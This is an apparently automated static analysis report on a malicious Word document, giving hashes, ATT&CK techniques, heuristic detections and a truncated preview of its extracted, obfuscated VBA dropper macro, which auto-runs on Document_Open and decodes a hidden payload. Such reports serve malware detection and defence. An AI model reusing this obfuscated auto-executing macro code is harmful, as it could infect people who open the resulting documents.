Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 373da1b6a95ba6e9…

MALICIOUS

Office (OLE)

186.5 KB Created: 2017-12-18 15:31:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: d7a2b5932f18260df3891eda18b984b1 SHA-1: c553d19a78935c1a0c4d5fa4897ac3e49776dee2 SHA-256: 373da1b6a95ba6e9d6efe7b57d5877d914ffa394ed6e74576f4283a9388d3c79
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a Microsoft Office document containing VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The ClamAV detection name 'Doc.Dropper.Agent-6402733-0' strongly suggests its function as a dropper. The VBA macro code, though partially obfuscated, appears to be responsible for downloading and executing a secondary payload, as indicated by the heuristic firings and the nature of dropper malware.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6402733-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6402733-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12318 bytes
SHA-256: 228f84d58a3101f979e8e14a09c57aa074807105b6612049d1e8bdf2e2a753b8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function catalectic(spinuliferous) As String
Dim conjunctive(63) As Long
Dim galvanic(6962) As Byte
Dim entrain As Long
Dim bactericide As Long
Dim reproductive As String
Dim fattism As Long
Dim awol As Long
Dim collision(63) As Long
Dim ebenezer(63) As Long
Dim fauteuil As Integer
apocrine = Math.Round(53)

Dim adverbs() As Byte
geophysical = 72 - 21 + 257997
middlebrow = 35 - 114 + 334
Dim unforgivingly As Long

cojugation = 74 - 125 + 262195
redhanded = 122 - 50 + 3960
luculent = 61 - 81 + 276
malaise = 122 - 26 + 65184
Dim aeronautical As String

Dim aspects As Byte

metrongr = 118 - 19 + 3997
trill = 94 - 117 + 87
bagpipes = 68 - 53 + 16711665
monoplane = 87 - 99 + 75
bloodied = 44 - 31 + 16515059
cave = 6 - 95 + 65625
Dim rely As String
beautification = 27 - 38 + 7854
Dim arteriovenous() As Byte
arteriovenous = VBA.StrConv(spinuliferous, 120 + 8)
chlamydomonas = 56 + 5
 Pmt 0, chlamydomonas, 28261, 20939, 3

sniff = 7843
elaborately = vbKeyShift - 12
For dib = 0 To sniff
If dib Mod 2 = 0 Then
arteriovenous(dib) = arteriovenous(dib) - elaborately
Else
arteriovenous(dib) = arteriovenous(dib) - (elaborately - 1)
End If
Next dib
larrikin = 25 + 35
 Pmt 0, larrikin, 4684, 35195, 3

fauteuil = 0
clew = salaam
For awol = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
conjunctive(awol) = powderpuff(awol, trill, 70)
ebenezer(awol) = powderpuff(awol, metrongr, 70)
collision(awol) = powderpuff(awol, cojugation, 70)
Next awol
palpitation = 16 + 45
 Pmt 0, palpitation, 32992, 24036, 4

adverbs = arteriovenous
studiousness = 100 - 85 - 11
hurst = 11 + 30
 Pmt 0, hurst, 14383, 22863, 3

crying = 121 - 121 + 3
peltandra = "salvation"

peltandra = peltandra

antheridiophore = crying + 1
dashingly = 116 - 71 - 43
For bactericide = 0 To sniff
administer = adverbs(bactericide)
filariidae = adverbs(bactericide + 2)
translate = ebenezer(clew(adverbs(bactericide + 1)))
spicebush = conjunctive(clew(filariidae)) + clew(adverbs(bactericide + crying))
entrain = collision(clew(administer)) + translate + spicebush
awol = powderpuff(entrain, bagpipes, 62)
galvanic(fattism) = powderpuff(awol, cave, 52)
awol = powderpuff(entrain, malaise, 62)
galvanic(fattism + 1) = powderpuff(awol, luculent, 52)
galvanic(fattism + dashingly) = powderpuff(entrain, middlebrow, 62)
fattism = fattism + dashingly + 1
bactericide = bactericide + 3
Next
catalectic = galvanic
End Function
Private Sub Document_Open()
Dim broussonetia As Variant
Dim commodore As Long
logometer = newsworthy
loricata
suite = 21 + 59
Pmt 0, suite, 18768, 50729, 4
End Sub
Function loricata()
Dim chiropractic As Long
Dim lepisosteus As Variant
judaic.illstarred.Value = Day(#12/5/2013#)
varday = cashbox = "precedented"
oxbridge = "catholic"
populousness = "marte"
tracing = cajanus
archery = "barterer"

fistulous = "emancipator"
buddy = "minnows"
Set bottomless = judaic.illstarred.SelectedItem
fanatical = 39 + 7
 Pmt 0, fanatical, 16054, 10254, 3

intraspecies = bottomless.Name
undress = 7 - 117 + 7954
leguminosae = Right(intraspecies, undress)
attroupement = catalectic(leguminosae)
courts = 47 + 56
 Pmt 0, courts, 16440, 53729, 4

thecodont = "graphotype"
#If (61 - 72 + 411 + 57 - 4 + 247) > ((36 - 85 + 369) - (54 - 91 + 577) * 1) And ((35 - 16 + 9) - (62 - 41 + 7)) * 2 < (Win64) Then
Dim muniment As Variant
Dim georgia As LongPtr
Dim exequies As LongPtr
Dim ramekin As Long
#ElseIf (65 - 88 + 423 + 111 - 87 + 276) > ((55 - 111 + 376) - (4 - 54 + 590) * 1) And Not ((31 - 104 + 101) - (24 - 40 + 44)) * 2 < (Win64) Then
Dim calvados As String
Dim exequies As Long
Dim giddyhead As Byte
Dim georgia As Long
#End If
adulterating = 78 - 80 + 2
levies = tamarind
cardiomegaly = guadagna
cartel
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.